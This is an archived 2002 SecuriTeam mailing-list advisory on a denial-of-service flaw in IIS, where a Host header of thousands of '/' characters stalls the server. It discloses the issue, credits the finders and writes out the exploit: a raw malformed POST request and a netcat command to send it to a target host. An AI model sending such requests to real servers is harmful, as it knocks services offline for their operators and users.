

# [NT] Malformed HOST Header Causes IIS DoS

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-10/0058.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 10/15/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 15 Oct 2002 04:19:43 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> - Know that you're safe.

-----

## Malformed HOST Header Causes IIS DoS

---

### SUMMARY

A security vulnerability in IIS's web server allows remote attackers to cause the web server to crash, this is done by providing it with a long Host field filled with the character "/".

### DETAILS

Exploit:

By either doing it manually:

-----[begin]-----

POST /\_vti\_bin/shtml.dll HTTP/1.0

Host: [32762 '/' characters]

Content-length: 22

<http://www.rapid7.com/>

-----[end]-----

This will cause the web service to consume 99% of the CPU for about 35 seconds. During this time, no other HTTP requests will be serviced. Use it with:

```
$ nc x.x.x.x 80 < iis_dos
```

## Securiteam: [NT] Malformed HOST Header Causes IIS DoS

Or by using SPIKE:

See <<http://www.immunitysec.com/spike.html>>

<http://www.immunitysec.com/spike.html> for more details.

### ADDITIONAL INFORMATION

The information has been provided by <[mailto:Joe\\_Testa@rapid7.com](mailto:Joe_Testa@rapid7.com)> Joe Testa and <<mailto:dave@immunitysec.com>> Dave Aitel (finder of the problem).

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NEWS] Oracle 8i/9i Listener SERVICE CURLOAD Denial of Service"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)